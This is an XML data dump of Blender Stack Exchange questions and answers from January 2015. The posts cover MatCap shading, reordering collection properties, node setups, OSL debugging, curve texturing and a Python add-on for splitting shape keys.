  <row Id="23620" PostTypeId="1" AcceptedAnswerId="23621" CreationDate="2015-01-22T15:53:55.213" Score="6" ViewCount="6648" Body="&lt;p&gt;I have noticed that the behavior of MatCap shading has changed in recent versions of Blender (at least by 2.72b). When I turn Matcap on, all objects are shaded with the same Matcap texture. For sculpting, I only want the selected object shaded with Matcap (as in numerous tutorials).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it to just do Matcap shading for the selected object (primarily in Sculpt mode)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better would be if we could select a different MatCap material by object or vertex group.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-22T17:39:12.620" Title="How can I get Blender to just do Matcap shading for the selected object?" Tags="&lt;modeling&gt;&lt;sculpting&gt;&lt;matcaps&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23621" PostTypeId="2" ParentId="23620" CreationDate="2015-01-22T16:28:56.043" Score="5" Body="&lt;p&gt;I am afraid you can do it now only in blender internal in GLSL shading. But that shouldn't matter if you want it for sculpting. You only need some &lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/release/datafiles/matcaps/&quot; rel=&quot;nofollow noreferrer&quot;&gt;matcap textures&lt;/a&gt;. Here is what to set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUj7Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good thing is you can setup as many matcaps as you want for your objects:)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-22T17:39:12.620" LastActivityDate="2015-01-22T17:39:12.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23623" PostTypeId="1" AcceptedAnswerId="23637" CreationDate="2015-01-22T17:24:29.067" Score="3" ViewCount="1260" Body="&lt;p&gt;I can get an item in my CollectionProperty using index. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;item = context.scene.my_collection_prop[index]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how to change the item's index?&#xA;I want to put the item into index=0.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="911" LastEditDate="2015-01-22T17:31:28.563" LastActivityDate="2015-01-22T20:54:54.953" Title="CollectionProperty - change item's index" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23624" PostTypeId="2" ParentId="23617" CreationDate="2015-01-22T17:31:06.900" Score="1" Body="&lt;p&gt;Your background image is limiting the size of your render. If you look closely, you will notice that the render image that is not black is exactly the same size and color of the texture. The rest of the camera view is filled with the default black, or if you check &lt;em&gt;Film &gt; Transparent&lt;/em&gt; with a transparent alpha value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will either need to change the size of your image, or do some work in your compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to add a &lt;em&gt;Scale&lt;/em&gt; node after your image texture like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXcTW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Distort &gt; Scale&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result now looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1cxPx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-22T17:36:10.683" LastActivityDate="2015-01-22T17:36:10.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23625" PostTypeId="2" ParentId="23437" CreationDate="2015-01-22T17:36:07.623" Score="12" Body="&lt;p&gt;First off you can just drag an image right onto the object to add the image.&lt;br&gt;&#xA;Now before you get too excited, there are some things you have to do to get it to work before it will render like that.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qgeyn.gif&quot; alt=&quot;drag image to add&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you have to be using the Blender Internal render engine for the drag and drop to add the image to the object.&lt;br&gt;&#xA;To actually get the texture to render you have to use the material, and the texture panel. (more on why it &quot;no clicky-worky? no typy-worky?&quot; later.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/18131/2217&quot;&gt;My answer&lt;/a&gt; explains how to set up a material and texture for the BI. Only difference is you have already imported the image, so instead of clicking on the &lt;em&gt;Open&lt;/em&gt; button, click on the drop down button to use a image already in blender.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6QLYj.png&quot; alt=&quot;add image button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now for cycles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/18162/2217&quot;&gt;My answer&lt;/a&gt; explains the procedure for using images in cycles. Just know that you drag the image in to the node editor, not on to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to your &quot;no clicky-worky&quot; problem, I think that stems from the different render engins, cycles and the blender internal. See &lt;a href=&quot;https://blender.stackexchange.com/q/577/2217&quot;&gt;this question&lt;/a&gt; for help on that.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-01-22T17:36:07.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23627" PostTypeId="1" CreationDate="2015-01-22T17:50:47.263" Score="7" ViewCount="2367" Body="&lt;p&gt;Can I use SVG artwork to put a label on a model of a vitamin bottle without first changing it to pixels? Does this need to be automated or batch processed?&lt;/p&gt;&#xA;" OwnerUserId="11157" LastEditorUserId="6385" LastEditDate="2015-01-22T18:34:28.777" LastActivityDate="2015-01-22T23:39:35.747" Title="Using SVG to put label on bottle" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23629" PostTypeId="1" CreationDate="2015-01-22T18:03:25.753" Score="4" ViewCount="3190" Body="&lt;p&gt;Im trying to figure out how to link two nodes in Python.  So far Ive found some pretty limited documentation &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_62_0/bpy.ops.node.html#bpy.ops.node.link&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but it gives you no idea what arguments the operator takes or how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example lets suppose that I wish to create a diffuse node, a glossy node, and connect them to a mix node which is connected to the material output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpyops.material.new()&#xA;bpy.ops.node.add_node(type=&quot;ShaderNodeBsdfGlossy&quot;, use_transform=True)&#xA;bpy.ops.node.add_node(type=&quot;ShaderNodeBsdfDiffuse&quot;, use_transform=True)&#xA;bpy.ops.node.add_node(type=&quot;ShaderNodeMixShader&quot;, use_transform=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do you connect these nodes? And am I doing this right?&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2015-01-22T18:03:25.753" Title="Blender scripting- How do I link Nodes?" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-01-22T19:30:59.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="23632" PostTypeId="2" ParentId="23613" CreationDate="2015-01-22T19:51:28.747" Score="2" Body="&lt;p&gt;Yes, there is a way to do this! I'm not confident that it can be done easily through the interface, but if you would like to do it with a script, I've written a sample that can get you going in the right direction. It moves the animation curves one way or the other depending on a random number (randomized per object).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy, random&#xA;&#xA;    for object in bpy.data.objects:&#xA;        rand = random.randrange(-15,stop=15,step=1)&#xA;        #only effect objects which include &quot;___&quot; in the name&#xA;        if &quot;___&quot; not in object.name:&#xA;            continue&#xA;        #Go through all the animation curves&#xA;        for curve in object.animation_data.action.fcurves:&#xA;            #only effect if it's a x location curve (x array_index is 0, y is 1, z is 2...)&#xA;            if curve.data_path == 'location' and curve.array_index == 0:&#xA;                for point in curve.keyframe_points:&#xA;                    #add the random value to the x value (which is the frame #) of the keyframe point and it's handles &#xA;                    point.co.x += rand&#xA;                    point.handle_left.x += rand&#xA;                    point.handle_right.x += rand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a little bit to get you going. You could change the data_path to affect a different type of animation curve, or change the array index to affect a different parameter of that type of curve.&lt;/p&gt;&#xA;" OwnerUserId="11154" LastActivityDate="2015-01-22T19:51:28.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23633" PostTypeId="2" ParentId="10673" CreationDate="2015-01-22T20:03:03.450" Score="8" Body="&lt;p&gt;You could use a tiny OSL script to print the values calculated by the math nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader Inspector(float input=0,output color debug=0)&#xA;{&#xA;  debug = input;&#xA;  printf(&quot;%f&quot; , debug );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The printf will print the input values to the console window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to wire the output otherwise it wouldn't be evaluated (optimizer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yM3L3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to use OSL scripts you need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tick Open Shading Language in the render settings&lt;/li&gt;&#xA;&lt;li&gt;Set Render device to CPU (GPU can't handle script nodes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/20874/what-is-wrong-with-this-osl-shader&quot;&gt;What is wrong with this OSL shader?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more tips on debugging osl see also &lt;a href=&quot;http://www.swineworld.org/2013/06/osl-debugging-tips.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-22T20:03:03.450" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23634" PostTypeId="1" AcceptedAnswerId="23640" CreationDate="2015-01-22T20:05:32.953" Score="0" ViewCount="281" Body="&lt;p&gt;i need to make a sightly smaller subdivission on my curve because i need to reach a part of the 3D enviroment without having to move the object, so i use extrude (pressing E) but the curve created is too long and the shape is lost.&#xA;Is there any way i can control the curve size while pressing E?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RNFPQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-22T21:40:15.417" Title="How can i control the extrude size of a curve while creating it?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23636" PostTypeId="2" ParentId="23573" CreationDate="2015-01-22T20:17:59.637" Score="4" Body="&lt;p&gt;Although you could have the reset distance at 10,000 blender units before it stops moving, and this may work for what you want, that is not at all the correct way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell from your question, you want to have the cube detect being near the cylinder, and then after that, you want the cube to continuously move. The Near sensor detects the distance from the cylinder, and that sets the Boolean property to true. When the Boolean property is true, it will continuously make the cube move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to make the cube stop moving, you could simply have another property actuator assign the value of the property &quot;PropName&quot; to false. then the property &quot;PropName&quot; will obviously no longer be true, and thus &quot;Property&quot; (sensor) will no longer be true and will not send the positive pulses to &quot;Motion&quot; (actuator) and as a result, the motion will stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/72/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=72&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-03-11T01:30:57.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23637" PostTypeId="2" ParentId="23623" CreationDate="2015-01-22T20:34:33.510" Score="5" Body="&lt;p&gt;Use &lt;code&gt;my_collection_prop.move(item_index, target_index)&lt;/code&gt;, it let's you place a collection item (specified via its index in the current collection) to an arbitrary position in the collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a collection with 3 items, you would call &lt;code&gt;move(2, 0)&lt;/code&gt;, to put the last item on top of the list. The other two items remain in order, there's no swapping of the source and target item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.types.Scene.coll = bpy.props.CollectionProperty(type=bpy.types.PropertyGroup)&#xA;coll = bpy.context.scene.coll&#xA;coll.clear() # in case you re-run this script, empty the collection&#xA;&#xA;# item 0&#xA;item = coll.add()&#xA;item.name = &quot;First&quot;&#xA;&#xA;# item 1&#xA;item = coll.add()&#xA;item.name = &quot;Second&quot;&#xA;&#xA;# item 2&#xA;item = coll.add()&#xA;item.name = &quot;Third&quot;&#xA;&#xA;print(&quot;Before:&quot;)&#xA;for i, item in enumerate(coll, 1):&#xA;    print(&quot;{}. {}&quot;.format(i, item.name))&#xA;&#xA;coll.move(2, 0)&#xA;&#xA;print()&#xA;print(&quot;After:&quot;)&#xA;for i, item in enumerate(coll, 1):&#xA;    print(&quot;{}. {}&quot;.format(i, item.name))&#xA;&#xA;&quot;&quot;&quot;&#xA;Before:&#xA;1. First&#xA;2. Second&#xA;3. Third&#xA;&#xA;After:&#xA;1. Third&#xA;2. First&#xA;3. Second&#xA;&quot;&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-01-22T20:34:33.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23638" PostTypeId="1" AcceptedAnswerId="23639" CreationDate="2015-01-22T20:42:02.313" Score="3" ViewCount="371" Body="&lt;p&gt;I know how to add a material/color to a curve, but I want to add it like a detailed texture, like the sphere on the right of the image, as you can see if I render the image (left image) the curve is still just red, it doesn't have the level of detail of the real material/texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good way to do it? &lt;em&gt;I was thinking on converting the curve into a mesh and then just add more polygons...it could work, but if in the future I need to change the curve shape, that won't help at all.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vfdOa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="58" LastEditDate="2015-01-23T02:50:21.523" LastActivityDate="2015-01-23T02:50:21.523" Title="How can I add a detailed material/texture to a curve?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23639" PostTypeId="2" ParentId="23638" CreationDate="2015-01-22T21:16:13.120" Score="4" Body="&lt;p&gt;The bumps are showing up on the curve, however they are very stretched out. You need to add a &lt;em&gt;Mapping&lt;/em&gt; node to adjust the scale of the texture with. Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and select &lt;em&gt;Vector &gt; Mapping&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJhpR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; again and select &lt;em&gt;Input &gt; Texture Coordinate&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xBVul.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now take these nodes and set them up as shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Cf4c.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By changing the &lt;em&gt;Scale&lt;/em&gt; values you can now change the size of the texture you are using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that it will repeat/tile, so it is best to have a seamless/tileable texture.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-22T21:16:13.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23640" PostTypeId="2" ParentId="23634" CreationDate="2015-01-22T21:32:52.650" Score="4" Body="&lt;p&gt;When creating a curve you have some control using the parameters on the tool bar (press &lt;strong&gt;&lt;kbd&gt;T&lt;/kbd&gt;&lt;/strong&gt; to make it visible) or revel the tool options bypressing &lt;strong&gt;&lt;kbd&gt;F6&lt;/kbd&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bdpLH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a Curve has been created it can be manipulated with precision using the Transform control panels. (Press &lt;strong&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;/strong&gt; to make it visible) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h7dLS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-22T21:40:15.417" LastActivityDate="2015-01-22T21:40:15.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23641" PostTypeId="1" AcceptedAnswerId="23648" CreationDate="2015-01-22T21:54:55.687" Score="-1" ViewCount="66" Body="&lt;p&gt;Hey I have a quick question that has been bothering me; when I use logic bricks, I use (for example) the following: Keyboard &gt; And &gt; Action. I have a setup for WASD where I use an &lt;i&gt;or&lt;/i&gt; controller for multiple combinations. My issue is, I need to have my character walk holding his arm out if he has a gun, and keeping his hands down when not. So, when my property &lt;i&gt;&quot;weapons active&quot;&lt;/i&gt; is on (assuming player has a weapon), he should walk with his arms out, and not when property is off. I need to have an or controller for WASD and an and controller for if the property is on, as in, I need the walk animation to be triggered when either WASD is pressed AND the property is on. How do I use an and and an or controller on one event in logic bricks?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-02-22T01:31:38.970" Title="And/Or controller combinaton" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23642" PostTypeId="1" AcceptedAnswerId="23643" CreationDate="2015-01-22T22:08:12.487" Score="9" ViewCount="1178" Body="&lt;p&gt;I'm making a shader that combines two image textures based on the alpha channel of the texture on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need a way to adjust and animate what comes from the alpha-output of the texture node and goes to the fac-input of the mix shader node. I need to make it fully transparent in the beginning and then slowly animate the opaque part in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, the color nodes I've tried so far only seem to adjust RGB channels. Is there anything in the Cycles material nodes that can be used to adjust (and hopefully animate) the alpha output of a texture node?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="599" LastEditDate="2015-01-22T22:40:14.633" LastActivityDate="2015-01-22T22:40:14.633" Title="Animate alpha in Cycles nodes" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;materials&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23643" PostTypeId="2" ParentId="23642" CreationDate="2015-01-22T22:19:00.217" Score="10" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alpha channel is just another array of values, just like the R,G, and B channels, or any other grey, yellow, or purple socket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any node which manipulates values can be used to manipulate the alpha channel. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JyV4H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note the keyframed input in the math node. It's animated from 0 to 1.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will result in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/TemptingExcellentCutworm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/TemptingExcellentCutworm.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.090" LastActivityDate="2015-01-22T22:38:08.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23644" PostTypeId="2" ParentId="23245" CreationDate="2015-01-22T22:25:51.513" Score="2" Body="&lt;p&gt;Here's the addon code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Split Shape Key&quot;,&#xA;    &quot;author&quot;: &quot;Eduardo Teixeira, Sambler&quot;,  &#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 73, 0),&#xA;    &quot;location&quot;: &quot;Object &amp;gt; Animation &amp;gt; Split Shape Key&quot;,&#xA;    &quot;description&quot;: &quot;Takes a shape key and splits its vertices translation into three new shape keys, one per axis, preserving the original&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    #&quot;wiki_url&quot;:&quot;&quot;,&#xA;    #&quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Animation&quot;,&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;class SplitShapeKey(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Takes a shape key and splits its vertices translation&quot;&quot;&quot;\&#xA;&quot;&quot;&quot; into three new shape keys, one per axis, preserving the original &quot;&quot;&quot;&#xA;    bl_idname = &quot;anim.split_shape_key&quot;&#xA;    bl_label = &quot;Split Shape Key&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        context = bpy.context&#xA;        scene = context.scene&#xA;        obj = context.object&#xA;        shape_name = obj.active_shape_key.name&#xA;&#xA;        ## enable shapekey before copying&#xA;        skey_value = obj.active_shape_key.value&#xA;        obj.active_shape_key.value = obj.active_shape_key.slider_max&#xA;&#xA;        obj.shape_key_add(name=str(shape_name) + &quot;_X&quot;, from_mix=True)&#xA;        xshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;        obj.shape_key_add(name=str(shape_name) + &quot;_Y&quot;, from_mix=True)&#xA;        yshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;        obj.shape_key_add(name=str(shape_name) + &quot;_Z&quot;, from_mix=True)&#xA;        zshape_idx = len(obj.data.shape_keys.key_blocks)-1&#xA;&#xA;        ## reset shapekey&#xA;        obj.active_shape_key.value = skey_value&#xA;&#xA;        for vert in obj.data.vertices: #Isolate the translation on the X axis&#xA;            obj.data.shape_keys.key_blocks[xshape_idx].data[vert.index].co.y = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.y&#xA;            obj.data.shape_keys.key_blocks[xshape_idx].data[vert.index].co.z = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.z&#xA;&#xA;        for vert in obj.data.vertices: #Isolate the translation on the Y axis&#xA;            obj.data.shape_keys.key_blocks[yshape_idx].data[vert.index].co.x = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.x&#xA;            obj.data.shape_keys.key_blocks[yshape_idx].data[vert.index].co.z = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.z&#xA;&#xA;    for vert in obj.data.vertices: #Isolate the translation on the Z axis&#xA;            obj.data.shape_keys.key_blocks[zshape_idx].data[vert.index].co.x = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.x&#xA;            obj.data.shape_keys.key_blocks[zshape_idx].data[vert.index].co.y = obj.data.shape_keys.key_blocks['Basis'].data[vert.index].co.y&#xA;&#xA;        return{'FINISHED'}&#xA;&#xA;class SplitShapePanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Tools Window &amp;gt; Animation Tab&quot;&quot;&quot;&#xA;&#xA;    bl_space_type = 'VIEW_3D'    &#xA;    bl_region_type = 'TOOLS'&#xA;    bl_category = 'Animation'&#xA;    bl_label = &quot;Split Shape Key&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;    bl_options = {'DEFAULT_CLOSED'}&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row()&#xA;        row.operator(&quot;anim.split_shape_key&quot;)&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(SplitShapeKey.bl_idname)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SplitShapeKey)&#xA;    bpy.types.VIEW3D_MT_object_animation.append(menu_func)&#xA;    bpy.utils.register_class(SplitShapePanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SplitShapeKey)&#xA;    bpy.types.VIEW3D_MT_object_animation.append(menu_func)&#xA;    bpy.utils.register_class(SplitShapePanel)    &#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11004" LastActivityDate="2015-01-22T22:25:51.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23645" PostTypeId="1" CreationDate="2015-01-22T22:39:34.230" Score="1" ViewCount="86" Body="&lt;p&gt;I'm a noob at modeling or art in general, but I need to design a basic room. I can &quot;design&quot; the physical bodies, but I'm confused what values to apply to an object to make it look like, say, glass or water.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any &quot;canonical&quot; values for reflectivity and RGB?&lt;/p&gt;&#xA;" OwnerUserId="11164" LastActivityDate="2015-01-22T22:57:34.147" Title="Is there a table for visual properties of common elements?" Tags="&lt;materials&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-23T22:24:09.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="23647" PostTypeId="2" ParentId="23627" CreationDate="2015-01-22T23:39:35.747" Score="4" Body="&lt;p&gt;Import the SVG file into blender and apply it to the bottle with a &lt;strong&gt;Shrinkwrap&lt;/strong&gt; modifier in &lt;strong&gt;Project&lt;/strong&gt; mode and with the bottle as Target. You might need to play with the offset value to separate the label from the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hMme9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYSUX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure this option is turned on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kn1pX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make sure you read: &lt;a href=&quot;https://blender.stackexchange.com/questions/23105/why-wont-blender-let-me-import-svg-files&quot;&gt;Why won&amp;#39;t Blender let me import .svg files?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/23170/why-cant-i-import-a-svg-file-from-adobe-illustrator&quot;&gt;Why can&amp;#39;t I import a SVG file from Adobe Illustrator or Inkscape?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-22T23:39:35.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23648" PostTypeId="2" ParentId="23641" CreationDate="2015-01-23T01:08:43.273" Score="1" Body="&lt;p&gt;I have figured a simple solution, and would like to help anyone who has had this issue. Just have a property that is toggled when you use WSAD; and have a second event where you need the property to be set to 1; as well as the other property.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-01-23T01:08:43.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
